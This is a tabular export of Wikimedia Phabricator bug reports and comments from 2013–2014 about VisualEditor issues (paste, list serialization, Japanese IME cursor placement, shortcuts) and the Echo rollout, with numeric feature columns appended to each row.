+https://gerrit.wikimedia.org/r/79055",,,1376509523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233581,VisualEditor: Inspector fails to render correctly for embedded buttons,"Change 79055 had a related patch set uploaded by Esanders:
+Fix rendering of inspector for embedded buttons
+
+https://gerrit.wikimedia.org/r/79055",,,1376491490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54771,VisualEditor: Pasting block level elements can lose annotations,"If you copy a block level element and try to paste it all the annotations (links, bold, italic etc.) are removed and it is just pasted as plain text. You need to select the whole line with the selection region going all the way to the right of the screen. 
+
+For example in 
+http://en.wikipedia.org/wiki/User:Salix_alba/VE_test 
+selecting the whole of the final paragraph and coping and pasting loses anotation.
+
+Examining the clipboard in this case its something like
+<meta charset='utf-8'><p data-parsoid ...</p><br class=""Apple-interchange-newline"">
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52770",High,80.0,1376343780,1381158661.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-5nevglmngclvgx6tccw2,task_description,resolved,True,c1,3,False,False,False,6,,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+254115,VisualEditor: Pasting block level elements can lose annotations,Can confirm that this has been incidentally fixed as part of Ed's work on copy-and-paste - tested in Chrome/Firefox/Safari/Opera. (Yay.),,,1381158661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5nevglmngclvgx6tccw2,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254110,VisualEditor: Pasting block level elements can lose annotations,Can't reproduce.,,,1381156961,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5nevglmngclvgx6tccw2,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+54752,VisualEditor: Edit to a template somehow removing equals signs in markup?,"See https://ja.wikipedia.org/w/index.php?title=%E5%88%A9%E7%94%A8%E8%80%85:Frozen-mikan/sandbox&diff=48779068&oldid=48778951 which used https://ja.wikipedia.org/wiki/Template:%E3%83%AA%E3%83%B3%E3%82%AF%E4%BF%AE%E6%AD%A3%E4%BE%9D%E9%A0%BC/%E6%94%B9%E5%90%8D
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376320140,1421281940.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-66ginvgnolmwprgt3cuj,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0
+399856,VisualEditor: Edit to a template somehow removing equals signs in markup?,AFAICT this is fixed; no recurrences in months have been reported.,,,1421281940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,True,,,80,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+253210,VisualEditor: Edit to a template somehow removing equals signs in markup?,Aha; sorry :).,,,1376321896,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+253205,VisualEditor: Edit to a template somehow removing equals signs in markup?,"Thank you.
+
+(In reply to comment #0)
+> which used
+> https://ja.wikipedia.org/wiki/Template:
+> %E3%83%AA%E3%83%B3%E3%82%AF%E4%BF%AE%E6%AD%A3%E4%BE%9D%E9%A0%BC/
+> %E6%94%B9%E5%90%8D
+
+I do not use this template. I used a dummy template. This is not created.
+https://ja.wikipedia.org/wiki/%E5%88%A9%E7%94%A8%E8%80%85:Frozen-mikan/Template:%E7%A9%BA%E3%81%AE%E5%BC%95%E6%95%B0",,,1376320887,,PHID-USER-5c526sthsodab4l3hur6,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+54751,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Output after saving
+
+My setup:
+
+MediaWiki:
+1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013
+
+VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013
+
+ParsoidServer:
+commit a4fec47e5201c329925967376f4106abd11178e3
+Merge: fdb6e06 30315ed Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
+Date:   Fri Aug 9 02:43:12 2013 +0000
+
+
+When I put in a simple Unsorted list the Parsoid Server throws an error message:
+Incompatible constraints 1: LI P {a:{min: 0, max: 0}, b:{min: 1, max: 2}, min:0, max 0}
+
+
+Attached you find the resulting output after I saved the page. Notice the extra Line that got added by Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11826}",High,80.0,1376317860,1376522202.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_description,resolved,True,c1,3,False,False,True,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+253169,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Change 78913 merged by jenkins-bot:
+(Bug 52751): Serialize p-wrapped list items correctly
+
+https://gerrit.wikimedia.org/r/78913",,,1376424244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253165,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Change 78913 had a related patch set uploaded by Subramanya Sastry:
+(Bug 52751): Serialize p-wrapped list items correctly
+
+https://gerrit.wikimedia.org/r/78913",,,1376342314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253161,Regression: Wikitext for new lists has unnecessary newlines after bullets,git bisect shows that c0de1d5839430e9fde79ff4195caf6841baab0d3 is the culprit.  Will investigate and fix.,,,1376341085,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253155,Regression: Wikitext for new lists has unnecessary newlines after bullets,"I suspect this is a regression of some sort.  Can be duplicated with this HTML below (VE wraps li-content in p-tags).
+
+[subbu@earth tests] echo ""<ul><li><p>a</p></li></ul>"" | node parse --html2wt
+Incompatible constraints 1: LI P { a: { min: 0, max: 0 }, b: { min: 1, max: 2 }, min: 0, max: 0 }
+* 
+a",,,1376340885,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,True,,,6,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+54745,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"It is requested to implement a keyboard shortcut for Save the edits. Ctrl+Shift+S combination will be the most suitable for this, as it is being used by the conventional editor right now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1376299800,1377814470.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-o5baaacr6iodckukah5p,task_description,resolved,True,c1,3,False,False,True,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+252803,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"Merging with another suggestion for the same.
+
+*** This bug has been marked as a duplicate of bug 50897 ***",,,1377814470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o5baaacr6iodckukah5p,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+252797,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"> Ctrl+Shift+S
+
+Sorry, I meant Alt+Shift+S",,,1376299882,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-o5baaacr6iodckukah5p,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1
+54716,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"When you edit captions and input Japanese text with Japanese input method (of ことえり, the default Japanese method of Mac OS X), for example 生醤油 (kijouyu), the cursor will place itself after the first character, but it should place itself after the last (3rd) character. Tested on Firefox and OSX, but may happen in other browsers and operating systems. Thanks to Takashi Ota and Josh Lim for testing and reporting.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1376191500,1377202396.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_description,resolved,True,c1,3,False,False,True,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+250463,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202396,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+250461,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Change 80080 merged by jenkins-bot:
+Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377164931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250459,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Change 80080 had a related patch set uploaded by Jforrester:
+WIP:Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377027656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250457,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Patch has been reverted due to other issues, sadly.",,,1376960981,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250455,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,Doesn't seem to be happening any more.,,,1376937358,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+250454,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"This seems to be caused by a call to surfaceObserver.stop() in Surface's onDocumentKeyDown method, which is wrongly asynchronous. The same problem was affecting Malayalam and probably other scripts/IMEs too.
+
+I *think* it should be fixed by https://gerrit.wikimedia.org/r/#/c/79451 (just merged).",,,1376922530,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+250450,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Now I tested it myself on Fedora 18 with Firefox. It happens there too. To reproduce:
+
+1. Enabled the ""Japanese (Anthy)"" keyboard in GNOME input sources.
+2. In a VisualEditor window type ""mitsubishi"". It appears as four Kana characters: ""みつびし"".
+3. Press the space bar. The four characters change to two Kanji characters: ""三菱"".
+4. Press Enter. This accepts the Kanji representation.
+
+Observed: The cursor is placed between 三 and 菱.
+Expected: The cursor should be placed after 三菱. That is what happens in other text editors on my system.",,,1376585969,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+54714,Enable Echo / Notifications on se.wikimedia.org,"The Swedish chapter would like to get Notifications enabled on their wiki at se.wikimedia.org. Please use the default settings.
+
+Poll here: http://se.wikimedia.org/wiki/Tråd:Wikimedia:Bybrunnen/VisualEditor_och_Notifications
+
+/Jan
+CEO
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1376179080,1382727600.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+250378,Enable Echo / Notifications on se.wikimedia.org,Seems like this wiki was included in the last roll-out.,,,1382727600,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,16,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+250373,Enable Echo / Notifications on se.wikimedia.org,"Thank you, it was my pleasure! Bear in mind that this is an additional request to enable it on the chapter wiki, and we do not need to wait for a specific date there, just turn it on at your will.",,,1376514498,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+250368,Enable Echo / Notifications on se.wikimedia.org,"Thanks, Jan!
+
+It was a pleasure to meet you at Wikimania last week.
+
+I am so glad that the Swedish Wikipedia will be one of the first non-English Wikipedia to deploy Echo next week, as outlined in this release plan:
+
+http://www.mediawiki.org/wiki/Echo/Release_Plan_2013
+
+We're now scheduled to deploy on Tuesday August 20 at 12pm PT - on the French, Polish, Portuguese and Swedish Wikipedias, if all goes well. 
+
+Please let us know if you have any final questions.
+
+Cheers ...",,,1376513998,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+250364,Enable Echo / Notifications on se.wikimedia.org,"I don't think Echo is under general deployment yet.
+
+CC'ing Fabrice",,,1376185892,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+54686,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Because we love Mark:
+
+http://m.mediawiki.org/wiki/Extension:BetaFeatures
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1376107740,1383280071.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_description,resolved,True,c1,3,True,False,False,5,,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+248561,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,Done in gerrit 91108.,,,1383280071,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+248554,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Change 78795 merged by jenkins-bot:
+Integrate with BetaPreferences
+
+https://gerrit.wikimedia.org/r/78795",,,1378918492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248548,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Change 78795 had a related patch set uploaded by Esanders:
+[WIP] Integrate with BetaPreferences
+
+https://gerrit.wikimedia.org/r/78795",,,1376287586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+54670,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"When the list of potential articles is longer than the displayed list there is no way to see other articles without continuing to type part of the name. In some cases this isn't going to be much of a problem, but when there are lots of items that could have the same title (e.g. [[Nexus]]) it essentially requires you to know which disambiguator is used, defeating the point of the suggestions list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1376050440,1393635105.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fbqhcge4qrnba67okcqc,task_description,resolved,True,c1,3,False,False,False,5,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+247683,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"No, it was in error. Sorry!",,,1393635105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+247681,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"James, did you mean to reopen this four seconds after closing it?",,,1393633971,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
